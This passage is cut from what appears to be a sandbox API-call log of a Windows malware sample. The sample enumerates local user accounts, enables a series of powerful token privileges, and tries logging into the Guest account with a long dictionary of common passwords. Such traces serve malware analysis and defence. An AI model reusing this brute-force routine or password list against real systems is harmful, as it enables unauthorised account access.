(lpString="3F27DC9FC2E7") returned 12 [0086.183] lstrlenA (lpString="A6") returned 2 [0086.183] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x6643e8 [0086.183] lstrcpyA (in: lpString1=0x6643e8, lpString2="3F27DC9FC2E7" | out: lpString1="3F27DC9FC2E7") returned="3F27DC9FC2E7" [0086.183] lstrcatA (in: lpString1="3F27DC9FC2E7", lpString2="A6" | out: lpString1="3F27DC9FC2E7A6") returned="3F27DC9FC2E7A6" [0086.183] LocalFree (hMem=0x665780) returned 0x0 [0086.183] wsprintfA (in: param_1=0x12fe42, param_2="%02X" | out: param_1="93") returned 2 [0086.183] lstrlenA (lpString="3F27DC9FC2E7A6") returned 14 [0086.183] lstrlenA (lpString="93") returned 2 [0086.183] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x670c38 [0086.183] lstrcpyA (in: lpString1=0x670c38, lpString2="3F27DC9FC2E7A6" | out: lpString1="3F27DC9FC2E7A6") returned="3F27DC9FC2E7A6" [0086.183] lstrcatA (in: lpString1="3F27DC9FC2E7A6", lpString2="93" | out: lpString1="3F27DC9FC2E7A693") returned="3F27DC9FC2E7A693" [0086.183] LocalFree (hMem=0x6643e8) returned 0x0 [0086.183] wsprintfA (in: param_1=0x12fe42, param_2="%02X" | out: param_1="CD") returned 2 [0086.183] lstrlenA (lpString="3F27DC9FC2E7A693") returned 16 [0086.183] lstrlenA (lpString="CD") returned 2 [0086.183] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x670cd8 [0086.183] lstrcpyA (in: lpString1=0x670cd8, lpString2="3F27DC9FC2E7A693" | out: lpString1="3F27DC9FC2E7A693") returned="3F27DC9FC2E7A693" [0086.183] lstrcatA (in: lpString1="3F27DC9FC2E7A693", lpString2="CD" | out: lpString1="3F27DC9FC2E7A693CD") returned="3F27DC9FC2E7A693CD" [0086.183] LocalFree (hMem=0x670c38) returned 0x0 [0086.183] wsprintfA (in: param_1=0x12fe42, param_2="%02X" | out: param_1="A6") returned 2 [0086.183] lstrlenA (lpString="3F27DC9FC2E7A693CD") returned 18 [0086.183] lstrlenA (lpString="A6") returned 2 [0086.183] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x670c38 [0086.183] lstrcpyA (in: lpString1=0x670c38, lpString2="3F27DC9FC2E7A693CD" | out: lpString1="3F27DC9FC2E7A693CD") returned="3F27DC9FC2E7A693CD" [0086.184] lstrcatA (in: lpString1="3F27DC9FC2E7A693CD", lpString2="A6" | out: lpString1="3F27DC9FC2E7A693CDA6") returned="3F27DC9FC2E7A693CDA6" [0086.184] LocalFree (hMem=0x670cd8) returned 0x0 [0086.184] wsprintfA (in: param_1=0x12fe42, param_2="%02X" | out: param_1="07") returned 2 [0086.184] lstrlenA (lpString="3F27DC9FC2E7A693CDA6") returned 20 [0086.184] lstrlenA (lpString="07") returned 2 [0086.184] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x670cd8 [0086.184] lstrcpyA (in: lpString1=0x670cd8, lpString2="3F27DC9FC2E7A693CDA6" | out: lpString1="3F27DC9FC2E7A693CDA6") returned="3F27DC9FC2E7A693CDA6" [0086.184] lstrcatA (in: lpString1="3F27DC9FC2E7A693CDA6", lpString2="07" | out: lpString1="3F27DC9FC2E7A693CDA607") returned="3F27DC9FC2E7A693CDA607" [0086.184] LocalFree (hMem=0x670c38) returned 0x0 [0086.184] wsprintfA (in: param_1=0x12fe42, param_2="%02X" | out: param_1="05") returned 2 [0086.184] lstrlenA (lpString="3F27DC9FC2E7A693CDA607") returned 22 [0086.184] lstrlenA (lpString="05") returned 2 [0086.184] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652968 [0086.184] lstrcpyA (in: lpString1=0x652968, lpString2="3F27DC9FC2E7A693CDA607" | out: lpString1="3F27DC9FC2E7A693CDA607") returned="3F27DC9FC2E7A693CDA607" [0086.184] lstrcatA (in: lpString1="3F27DC9FC2E7A693CDA607", lpString2="05" | out: lpString1="3F27DC9FC2E7A693CDA60705") returned="3F27DC9FC2E7A693CDA60705" [0086.184] LocalFree (hMem=0x670cd8) returned 0x0 [0086.184] wsprintfA (in: param_1=0x12fe42, param_2="%02X" | out: param_1="50") returned 2 [0086.184] lstrlenA (lpString="3F27DC9FC2E7A693CDA60705") returned 24 [0086.184] lstrlenA (lpString="50") returned 2 [0086.184] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x652c08 [0086.184] lstrcpyA (in: lpString1=0x652c08, lpString2="3F27DC9FC2E7A693CDA60705" | out: lpString1="3F27DC9FC2E7A693CDA60705") returned="3F27DC9FC2E7A693CDA60705" [0086.184] lstrcatA (in: lpString1="3F27DC9FC2E7A693CDA60705", lpString2="50" | out: lpString1="3F27DC9FC2E7A693CDA6070550") returned="3F27DC9FC2E7A693CDA6070550" [0086.184] LocalFree (hMem=0x652968) returned 0x0 [0086.184] wsprintfA (in: param_1=0x12fe42, param_2="%02X" | out: param_1="20") returned 2 [0086.184] lstrlenA (lpString="3F27DC9FC2E7A693CDA6070550") returned 26 [0086.184] lstrlenA (lpString="20") returned 2 [0086.184] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x652968 [0086.184] lstrcpyA (in: lpString1=0x652968, lpString2="3F27DC9FC2E7A693CDA6070550" | out: lpString1="3F27DC9FC2E7A693CDA6070550") returned="3F27DC9FC2E7A693CDA6070550" [0086.184] lstrcatA (in: lpString1="3F27DC9FC2E7A693CDA6070550", lpString2="20" | out: lpString1="3F27DC9FC2E7A693CDA607055020") returned="3F27DC9FC2E7A693CDA607055020" [0086.184] LocalFree (hMem=0x652c08) returned 0x0 [0086.184] wsprintfA (in: param_1=0x12fe42, param_2="%02X" | out: param_1="07") returned 2 [0086.184] lstrlenA (lpString="3F27DC9FC2E7A693CDA607055020") returned 28 [0086.184] lstrlenA (lpString="07") returned 2 [0086.184] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x652c08 [0086.184] lstrcpyA (in: lpString1=0x652c08, lpString2="3F27DC9FC2E7A693CDA607055020" | out: lpString1="3F27DC9FC2E7A693CDA607055020") returned="3F27DC9FC2E7A693CDA607055020" [0086.184] lstrcatA (in: lpString1="3F27DC9FC2E7A693CDA607055020", lpString2="07" | out: lpString1="3F27DC9FC2E7A693CDA60705502007") returned="3F27DC9FC2E7A693CDA60705502007" [0086.185] LocalFree (hMem=0x652968) returned 0x0 [0086.185] wsprintfA (in: param_1=0x12fe42, param_2="%02X" | out: param_1="65") returned 2 [0086.185] lstrlenA (lpString="3F27DC9FC2E7A693CDA60705502007") returned 30 [0086.185] lstrlenA (lpString="65") returned 2 [0086.185] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x629248 [0086.185] lstrcpyA (in: lpString1=0x629248, lpString2="3F27DC9FC2E7A693CDA60705502007" | out: lpString1="3F27DC9FC2E7A693CDA60705502007") returned="3F27DC9FC2E7A693CDA60705502007" [0086.185] lstrcatA (in: lpString1="3F27DC9FC2E7A693CDA60705502007", lpString2="65" | out: lpString1="3F27DC9FC2E7A693CDA6070550200765") returned="3F27DC9FC2E7A693CDA6070550200765" [0086.185] LocalFree (hMem=0x652c08) returned 0x0 [0086.185] IStream:RemoteSeek (in: This=0x640620, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.185] IStream:RemoteSeek (in: This=0x640620, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0086.185] IStream:RemoteSeek (in: This=0x640620, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.185] IStream:RemoteSeek (in: This=0x640620, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.185] ISequentialStream:RemoteRead (in: This=0x640620, pv=0x12fe38, cb=0x2, pcbRead=0x12fe00 | out: pv=0x12fe38*=0x3c, pcbRead=0x12fe00*=0x2) returned 0x0 [0086.185] LocalFree (hMem=0x629248) returned 0x0 [0086.185] IUnknown:Release (This=0x640620) returned 0x0 [0086.185] NetUserEnum (in: servername=0x0, level=0x3, filter=0x2, bufptr=0x12ff7c, prefmaxlen=0xffffffff, entriesread=0x12ff6c, totalentries=0x12ff74, resume_handle=0x12ff70 | out: bufptr=0x12ff7c*=([0]=0x683b68*(usri3_name="Administrator", usri3_password=0x0, usri3_password_age=0x1071c467, usri3_priv=0x2, usri3_home_dir="", usri3_comment="Built-in account for administering the computer/domain", usri3_flags=0x10203, usri3_script_path="", usri3_auth_flags=0x0, usri3_full_name="", usri3_usr_comment="", usri3_parms="", usri3_workstations="", usri3_last_logon=0x4a5c0f66, usri3_last_logoff=0x0, usri3_acct_expires=0xffffffff, usri3_max_storage=0xffffffff, usri3_units_per_week=0xa8, usri3_logon_hours=0x687b47, usri3_bad_pw_count=0x0, usri3_num_logons=0x1, usri3_logon_server="\\\\*", usri3_country_code=0x0, usri3_code_page=0x0, usri3_user_id=0x1f4, usri3_primary_group_id=0x201, usri3_profile="", usri3_home_dir_drive="", usri3_password_expired=0x0), [1]=0x683bdc*(usri3_name="EEBsYm5", usri3_password=0x0, usri3_password_age=0x19f1586, usri3_priv=0x2, usri3_home_dir="", usri3_comment="", usri3_flags=0x10201, usri3_script_path="", usri3_auth_flags=0x0, usri3_full_name="", usri3_usr_comment="", usri3_parms="", usri3_workstations="", usri3_last_logon=0x5a96ffc4, usri3_last_logoff=0x0, usri3_acct_expires=0xffffffff, usri3_max_storage=0xffffffff, usri3_units_per_week=0xa8, usri3_logon_hours=0x687a8f, usri3_bad_pw_count=0x0, usri3_num_logons=0x26, usri3_logon_server="\\\\*", usri3_country_code=0x1, usri3_code_page=0x4e4, usri3_user_id=0x3e8, usri3_primary_group_id=0x201, usri3_profile="", usri3_home_dir_drive="", usri3_password_expired=0x0), [2]=0x683c50*(usri3_name="Guest", usri3_password=0x0, usri3_password_age=0x0, usri3_priv=0x0, usri3_home_dir="", usri3_comment="Built-in account for guest access to the computer/domain", usri3_flags=0x10263, usri3_script_path="", usri3_auth_flags=0x0, usri3_full_name="", usri3_usr_comment="", usri3_parms="", usri3_workstations="", usri3_last_logon=0x0, usri3_last_logoff=0x0, usri3_acct_expires=0xffffffff, usri3_max_storage=0xffffffff, usri3_units_per_week=0xa8, usri3_logon_hours=0x687a4f, usri3_bad_pw_count=0x0, usri3_num_logons=0x0, usri3_logon_server="\\\\*", usri3_country_code=0x0, usri3_code_page=0x0, usri3_user_id=0x1f5, usri3_primary_group_id=0x201, usri3_profile="", usri3_home_dir_drive="", usri3_password_expired=0x0)), entriesread=0x12ff6c*=0x3, totalentries=0x12ff74, resume_handle=0x12ff70) returned 0x0 [0086.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0086.305] LocalAlloc (uFlags=0x40, uBytes=0x81) returned 0x668840 [0086.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=-1, lpMultiByteStr=0x668840, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0086.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Administrator", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0086.305] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x6643e8 [0086.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Administrator", cchWideChar=-1, lpMultiByteStr=0x6643e8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Administrator", lpUsedDefaultChar=0x0) returned 14 [0086.305] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x665780 [0086.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0086.306] LocalAlloc (uFlags=0x40, uBytes=0x81) returned 0x6687b0 [0086.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=-1, lpMultiByteStr=0x6687b0, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0086.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="EEBsYm5", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0086.306] LocalAlloc (uFlags=0x40, uBytes=0x88) returned 0x6688d0 [0086.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="EEBsYm5", cchWideChar=-1, lpMultiByteStr=0x6688d0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EEBsYm5", lpUsedDefaultChar=0x0) returned 8 [0086.306] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x664480 [0086.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0086.306] LocalAlloc (uFlags=0x40, uBytes=0x81) returned 0x668960 [0086.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=-1, lpMultiByteStr=0x668960, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0086.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Guest", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0086.306] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x6689f0 [0086.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Guest", cchWideChar=-1, lpMultiByteStr=0x6689f0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Guest", lpUsedDefaultChar=0x0) returned 6 [0086.306] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x664350 [0086.306] NetApiBufferFree (Buffer=0x683b68) returned 0x0 [0086.306] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeImpersonatePrivilege", lpLuid=0x12ff28 | out: lpLuid=0x12ff28*(LowPart=0x1d, HighPart=0)) returned 1 [0086.306] GetCurrentProcess () returned 0xffffffff [0086.306] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x12ff24 | out: TokenHandle=0x12ff24*=0x2d4) returned 1 [0086.306] AdjustTokenPrivileges (in: TokenHandle=0x2d4, DisableAllPrivileges=0, NewState=0x12ff14*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x1d, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0086.306] CloseHandle (hObject=0x2d4) returned 1 [0086.306] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeTcbPrivilege", lpLuid=0x12ff28 | out: lpLuid=0x12ff28*(LowPart=0x7, HighPart=0)) returned 1 [0086.307] GetCurrentProcess () returned 0xffffffff [0086.307] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x12ff24 | out: TokenHandle=0x12ff24*=0x2d4) returned 1 [0086.307] AdjustTokenPrivileges (in: TokenHandle=0x2d4, DisableAllPrivileges=0, NewState=0x12ff14*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x7, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0086.307] CloseHandle (hObject=0x2d4) returned 1 [0086.307] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeChangeNotifyPrivilege", lpLuid=0x12ff28 | out: lpLuid=0x12ff28*(LowPart=0x17, HighPart=0)) returned 1 [0086.307] GetCurrentProcess () returned 0xffffffff [0086.308] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x12ff24 | out: TokenHandle=0x12ff24*=0x2d4) returned 1 [0086.308] AdjustTokenPrivileges (in: TokenHandle=0x2d4, DisableAllPrivileges=0, NewState=0x12ff14*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x17, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0086.308] CloseHandle (hObject=0x2d4) returned 1 [0086.309] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeCreateTokenPrivilege", lpLuid=0x12ff28 | out: lpLuid=0x12ff28*(LowPart=0x2, HighPart=0)) returned 1 [0086.313] GetCurrentProcess () returned 0xffffffff [0086.313] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x12ff24 | out: TokenHandle=0x12ff24*=0x2d4) returned 1 [0086.313] AdjustTokenPrivileges (in: TokenHandle=0x2d4, DisableAllPrivileges=0, NewState=0x12ff14*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x2, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0086.313] CloseHandle (hObject=0x2d4) returned 1 [0086.313] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeBackupPrivilege", lpLuid=0x12ff28 | out: lpLuid=0x12ff28*(LowPart=0x11, HighPart=0)) returned 1 [0086.313] GetCurrentProcess () returned 0xffffffff [0086.313] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x12ff24 | out: TokenHandle=0x12ff24*=0x2d4) returned 1 [0086.313] AdjustTokenPrivileges (in: TokenHandle=0x2d4, DisableAllPrivileges=0, NewState=0x12ff14*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x11, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0086.313] CloseHandle (hObject=0x2d4) returned 1 [0086.314] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeRestorePrivilege", lpLuid=0x12ff28 | out: lpLuid=0x12ff28*(LowPart=0x12, HighPart=0)) returned 1 [0086.314] GetCurrentProcess () returned 0xffffffff [0086.314] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x12ff24 | out: TokenHandle=0x12ff24*=0x2d4) returned 1 [0086.314] AdjustTokenPrivileges (in: TokenHandle=0x2d4, DisableAllPrivileges=0, NewState=0x12ff14*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0086.314] CloseHandle (hObject=0x2d4) returned 1 [0086.314] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeIncreaseQuotaPrivilege", lpLuid=0x12ff28 | out: lpLuid=0x12ff28*(LowPart=0x5, HighPart=0)) returned 1 [0086.314] GetCurrentProcess () returned 0xffffffff [0086.314] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x12ff24 | out: TokenHandle=0x12ff24*=0x2d4) returned 1 [0086.315] AdjustTokenPrivileges (in: TokenHandle=0x2d4, DisableAllPrivileges=0, NewState=0x12ff14*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0086.315] CloseHandle (hObject=0x2d4) returned 1 [0086.315] LookupPrivilegeValueA (in: lpSystemName=0x0, lpName="SeAssignPrimaryTokenPrivilege", lpLuid=0x12ff28 | out: lpLuid=0x12ff28*(LowPart=0x3, HighPart=0)) returned 1 [0086.315] GetCurrentProcess () returned 0xffffffff [0086.315] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x12ff24 | out: TokenHandle=0x12ff24*=0x2d4) returned 1 [0086.315] AdjustTokenPrivileges (in: TokenHandle=0x2d4, DisableAllPrivileges=0, NewState=0x12ff14*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x3, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0086.315] CloseHandle (hObject=0x2d4) returned 1 [0086.315] lstrcmpiA (lpString1="EEBsYm5", lpString2="Guest") returned -1 [0086.315] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="Guest", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.348] lstrlenA (lpString="Guest") returned 5 [0086.349] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x668a80 [0086.349] lstrcpyA (in: lpString1=0x668a80, lpString2="Guest" | out: lpString1="Guest") returned="Guest" [0086.349] lstrlenA (lpString="Guest") returned 5 [0086.349] LCMapStringA (in: Locale=0x400, dwMapFlags=0x100, lpSrcStr="Guest", cchSrc=5, lpDestStr=0x668a80, cchDest=5 | out: lpDestStr="guest") returned 5 [0086.349] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="guest", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.349] LocalFree (hMem=0x668a80) returned 0x0 [0086.349] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="123456", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.350] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="password", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.350] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="phpbb", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.351] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="qwerty", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.351] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="12345", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.352] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="jesus", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.352] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="12345678", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.353] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="1234", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.353] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="abc123", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.354] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="letmein", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.354] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="test", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.354] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="love", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.355] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="123", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.355] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="password1", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.356] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="hello", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.356] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="monkey", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.357] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="dragon", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.357] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="trustno1", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.358] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="111111", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.358] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="iloveyou", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.359] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="1234567", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.359] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="shadow", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.360] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="123456789", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.360] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="christ", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.360] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="sunshine", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.361] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="master", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.361] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="computer", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.362] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="princess", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.362] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="tigger", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.363] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="football", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.363] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="angel", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.366] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, lpszPassword="jesus1", dwLogonType=0x2, dwLogonProvider=0x0, phToken=0x12ff7c | out: phToken=0x12ff7c*=0x0) returned 0 [0086.367] LogonUserA (in: lpszUsername="Guest", lpszDomain=0x0, 